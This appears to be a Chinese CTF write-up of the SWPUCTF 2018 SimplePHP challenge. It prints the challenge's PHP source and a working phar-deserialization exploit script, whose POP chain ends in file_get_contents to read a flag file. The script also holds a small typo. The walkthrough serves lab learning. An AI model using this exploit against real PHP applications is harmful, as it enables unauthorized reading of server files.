zoukankan      html  css  js  c++  java
  • [SWPUCTF 2018]SimplePHP

    [SWPUCTF 2018]SimplePHP

    知识点

    1.PHP反序列化入门之phar

    2.反序列化魔术方法

    __construct()//当一个对象创建时被调用
    __destruct() //当一个对象销毁时被调用
    __toString() //当一个对象被当作一个字符串使用
    __sleep()//在对象在被序列化之前运行
    __wakeup()//将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
    __get()//获得一个类的成员变量时调用
    __set()//设置一个类的成员变量时调用
    __invoke()//调用函数的方式调用一个对象时的回应方法
    __call()//当调用一个对象中的不能用的方法的时候就会执行这个函数
    

    题解

    打开题目后,常规性试探一波,发现“查看文件”时,出现了?file=,应该是存在文件包含了

    得到file.php、function.php、class.php、base.php源码

    file.php

    <?php 
    header("content-type:text/html;charset=utf-8");  
    include 'function.php'; 
    include 'class.php'; 
    ini_set('open_basedir','/var/www/html/'); 
    $file = $_GET["file"] ? $_GET['file'] : ""; 
    if(empty($file)) { 
        echo "<h2>There is no file to show!<h2/>"; 
    } 
    $show = new Show(); 
    if(file_exists($file)) { 
        $show->source = $file; 
        $show->_show(); 
    } else if (!empty($file)){ 
        die('file doesn\'t exists.'); 
    } 
    ?> 
    

    function.php

    <?php 
    //show_source(__FILE__); 
    include "base.php"; 
    header("Content-type: text/html;charset=utf-8"); 
    error_reporting(0); 
    function upload_file_do() { 
        global $_FILES; 
        $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
        //mkdir("upload",0777); 
        if(file_exists("upload/" . $filename)) { 
            unlink($filename); 
        } 
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
        echo '<script type="text/javascript">alert("上传成功!");</script>'; 
    } 
    function upload_file() { 
        global $_FILES; 
        if(upload_file_check()) { 
            upload_file_do(); 
        } 
    } 
    function upload_file_check() { 
        global $_FILES; 
        $allowed_types = array("gif","jpeg","jpg","png"); 
        $temp = explode(".",$_FILES["file"]["name"]); 
        $extension = end($temp); 
        if(empty($extension)) { 
            //echo "<h4>请选择上传的文件:" . "<h4/>"; 
        } 
        else{ 
            if(in_array($extension,$allowed_types)) { 
                return true; 
            } 
            else { 
                echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
                return false; 
            } 
        } 
    } 
    ?> 
    

    class.php

     <?php
    class C1e4r
    {
        public $test;
        public $str;
        public function __construct($name)
        {
            $this->str = $name;
        }
        public function __destruct()
        {
            $this->test = $this->str;
            echo $this->test;
        }
    }
    
    class Show
    {
        public $source;
        public $str;
        public function __construct($file)
        {
            $this->source = $file;   //$this->source = phar://phar.jpg
            echo $this->source;
        }
        public function __toString()
        {
            $content = $this->str['str']->source;
            return $content;
        }
        public function __set($key,$value)
        {
            $this->$key = $value;
        }
        public function _show()
        {
            if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
                die('hacker!');
            } else {
                highlight_file($this->source);
            }
            
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
                echo "hacker~";
                $this->source = "index.php";
            }
        }
    }
    class Test
    {
        public $file;
        public $params;
        public function __construct()
        {
            $this->params = array();
        }
        public function __get($key)
        {
            return $this->get($key);
        }
        public function get($key)
        {
            if(isset($this->params[$key])) {
                $value = $this->params[$key];
            } else {
                $value = "index.php";
            }
            return $this->file_get($value);
        }
        public function file_get($value)
        {
            $text = base64_encode(file_get_contents($value));
            return $text;
        }
    }
    ?> 
    

    base.php

    <?php 
        session_start(); 
    ?> 
    <!DOCTYPE html> 
    <html> 
    <head> 
        <meta charset="utf-8"> 
        <title>web3</title> 
        <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
        <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
        <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
    </head> 
    <body> 
        <nav class="navbar navbar-default" role="navigation"> 
            <div class="container-fluid"> 
            <div class="navbar-header"> 
                <a class="navbar-brand" href="index.php">首页</a> 
            </div> 
                <ul class="nav navbar-nav navbra-toggle"> 
                    <li class="active"><a href="file.php?file=">查看文件</a></li> 
                    <li><a href="upload_file.php">上传文件</a></li> 
                </ul> 
                <ul class="nav navbar-nav navbar-right"> 
                    <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
                </ul> 
            </div> 
        </nav> 
    </body> 
    </html> 
    <!--flag is in f1ag.php-->
    

    从以上源码中我们可以得到如下信息:

    1.flag在f1ag.php中但是“f1ag”被过滤了

    2.上传的文件类型采用白名单

    3.所有源代码均没有出现unserialize(),所以不能采用常规反序列化。同时有注释出现了phar,且phar协议没被过滤,所以这题是PHP反序列化中的phar反序列化。

    一步步解析

    Show类

    public function __toString()
        {
            $content = $this->str['str']->source;
            return $content;
        }
    

    要触发__toString()我们需要当一个对象被当作一个字符串使用

    同时

    $content = $this->str['str']->source;
    

    获得一个类的成员变量时调用get()

    C1e4r类

    public function __destruct()
        {
            $this->test = $this->str;
            echo $this->test;
        }
    

    在destruct()中存在echo能输出字符串来触发toString()

    Test类

    public function __get($key)
        {
            return $this->get($key);
        }
    

    利用__get()触发file_get()最终触发file_get_contents()

    梳理清楚pop链,构造exp:

    <?php
    class C1e4r
    {
        public $test;
        public $str;
    }
    class Show
    {
        public $source;
        public $str;
    }
    class Test
    {
        public $file;
        public $params;
    }
    $clear = new C1e4r();
    $show = new Show();
    $test = new Test();
    $test->parms['source'] ="/var/www/html/f1ag.php";
    $clear->str = $show; //利用$this->test = $this->str;echo $this->test;
    $show->str['str'] = $test; //利用$this->str['str']->source;
    
    $phar = new Phar("rabbit.phar"); //.phar文件
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER(); ? >');
    $phar->setMetadata($clear); //触发的头是C1e4r类,所以传入C1e4r对象
    $phar->addFromString("test.txt", "test"); //生成签名
    $phar->stopBuffering();
    
    ?>
    

    在本地环境中生成phar文件(自己电脑也不知道什么问题一直生成不了,用学长的电脑就行)

    本题没有对upload目录做处理可以直接访问,获取上传的文件名

    图1

    回到file.php页面

    file.php/?file=phar://upload/xxxxxxxxxxxxxxxxxxx.jpg
    

    得到base64加密内容

    flag

    base64解密得到flag.

  • 相关阅读:
    PyMySQL TypeError: not enough arguments for format string
    使用python3抓取pinpoint应用信息入库
    JS 异步之 async await
    JS Null 空 判断
    Vue问题汇总
    pymysql DAO简单封装
    py可视化执行过程
    jenkins回滚之groovy动态获取版本号
    容器时间 容器乱码问题
    SQLErrorCodes loaded: [DB2, Derby, H2, HSQL, Informix, MS-SQL, MySQL, Oracle, PostgreSQL, Sybase, Hana]
  • 原文地址:https://www.cnblogs.com/rabbittt/p/13295378.html
Copyright © 2011-2022 走看看